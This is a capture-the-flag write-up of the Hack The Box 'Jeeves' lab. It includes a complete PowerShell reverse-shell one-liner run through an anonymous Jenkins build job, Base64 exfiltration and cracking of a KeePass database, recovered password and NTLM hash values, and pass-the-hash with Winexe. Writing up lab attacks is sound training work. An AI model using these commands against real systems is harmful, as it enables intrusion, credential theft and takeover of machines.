← Back to Writeups
HTB Practice Lab

Jeeves

Original practice notes covering the exposed Jenkins foothold, KeePass credential recovery, pass-the-hash, and final privilege escalation.

Hack The BoxWindows · Medium
This page is a direct HTML transfer of my original practice notes. The technical content, commands, findings, and attack path have been kept intact rather than rewritten into a different walkthrough.

HTB - Jeeves

Difficulty: Medium
OS: Windows

Enumeration

Nmap

As always, begin with a full service and version scan.

nmap -sV -sC -A -oN initscan 10.129.228.112

Results

80/tcp     Microsoft IIS 10.0
135/tcp    MSRPC
445/tcp    SMB
50000/tcp  Jetty 9.4.z-SNAPSHOT

Initial Observations

  • Standard Windows services:
    • HTTP (80)
    • RPC (135)
    • SMB (445)
  • An additional HTTP service is listening on TCP/50000.
  • Nmap identifies the service as Jetty, but only returns a generic 404 Not Found page.

The Jetty service stood out because it is non-standard and often hosts Java applications such as Jenkins, making it the highest-value target during initial enumeration.

Web Enumeration

After adding the target to /etc/hosts:

10.129.228.112 jeeves.htb

Run Gobuster against the Jetty service:

gobuster dir \
-u http://jeeves.htb:50000 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Interesting discovery:

/askjeeves

Browsing to:

http://jeeves.htb:50000/askjeeves

reveals a Jenkins Dashboard.

Initial Foothold

The Jenkins instance allows anonymous users to create and execute build jobs.

Create a new project:

New Item
    ↓
Freestyle Project
    ↓
Build
    ↓
Execute Windows Batch Command

Inside the build step, execute a PowerShell reverse shell.

powershell -NoP -NonI -W Hidden -ExecutionPolicy Bypass -Command "$client=New-Object System.Net.Sockets.TCPClient('10.10.14.25',4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){$data=(New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1 | Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Start a listener:

nc -lvnp 4444

Trigger the build.

A reverse shell connects back as:

jeeves\kohsuke

Retrieve the user flag before beginning privilege escalation.

Privilege Escalation Enumeration

While enumerating the filesystem, several Jenkins-related files are discovered.

Jenkins User Configuration

C:\Users\Administrator\.jenkins\users\admin\config.xml

Interesting information contained inside:

  • Jenkins API token
  • BCrypt password hash
  • Jenkins configuration

Jenkins Secrets

C:\Users\Administrator\.jenkins\secrets.key

and

C:\Users\Administrator\.jenkins\secrets\master.key

These files are used internally by Jenkins to encrypt sensitive data.

KeePass Database

Another interesting discovery:

C:\Users\kohsuke\Documents\CEH.kdbx

Since KeePass databases often contain administrator credentials, this becomes the primary target.

Exfiltrating Files

Without an easy file transfer mechanism, encode the files as Base64 directly from PowerShell.

[System.Convert]::ToBase64String(
    [System.IO.File]::ReadAllBytes("[C:\path\to\file](C:\Users\kohsuke\Documents\CEH.kdbx)")
)

After copying the Base64 output back to the attack box, decoded with:

base64 -d encoded.txt > CEH.kdbx

Cracking the KeePass Database

Generate a hash:

keepass2john CEH.kdbx > keepass.hash

Crack it using Hashcat:

hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt

Recovered password:

moonshine1

Open the KeePass database using the recovered password.

Inside is an NTLM hash for the local Administrator account:

aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

Pass-the-Hash

Authenticate using the Administrator NTLM hash with Winexe.

winexe --pw-nt-hash \
-U 'administrator%e0fb1fb85756c24235ff238cbe81fe00' \
//10.129.228.112 cmd.exe

Successful authentication provides an Administrator shell.

Verify:

whoami
jeeves\administrator

Finding the Root Flag

Checking the Administrator desktop initially appears unsuccessful.

type C:\Users\Administrator\Desktop\hm.txt

Contents:

The flag is elsewhere. Look deeper.

This hint suggests an Alternate Data Stream (ADS).

Enumerate ADS:

dir /r

Output:

hm.txt
hm.txt:root.txt:$DATA

Read the hidden stream:

more < hm.txt:root.txt

or

type hm.txt:root.txt

The hidden ADS contains the root flag.

Attack Path Summary

Nmap
      │
      ▼
Jetty Service (50000)
      │
      ▼
Gobuster
      │
      ▼
/askjeeves
      │
      ▼
Anonymous Jenkins Access
      │
      ▼
Create Freestyle Build
      │
      ▼
PowerShell Reverse Shell
      │
      ▼
Shell as kohsuke
      │
      ▼
Discover KeePass Database
      │
      ▼
Extract Database
      │
      ▼
keepass2john
      │
      ▼
Hashcat
      │
      ▼
Recover KeePass Password
      │
      ▼
Retrieve Administrator NTLM Hash
      │
      ▼
Pass-the-Hash (Winexe)
      │
      ▼
Administrator Shell
      │
      ▼
Enumerate Alternate Data Streams
      │
      ▼
Read root.txt ADS

Key Takeaways

  • Non-standard web ports often host administrative applications such as Jenkins.
  • Misconfigured Jenkins instances can allow anonymous users to execute arbitrary code through build jobs.
  • KeePass databases are valuable credential targets during post-exploitation.
  • NTLM hashes can frequently be leveraged directly with Pass-the-Hash without cracking the underlying password.
  • Windows Alternate Data Streams (ADS) can hide files from normal directory listings and are worth checking whenever hints suggest hidden data.

Tools Used

  • Nmap
  • Gobuster
  • Jenkins
  • PowerShell
  • Netcat
  • keepass2john
  • Hashcat
  • Winexe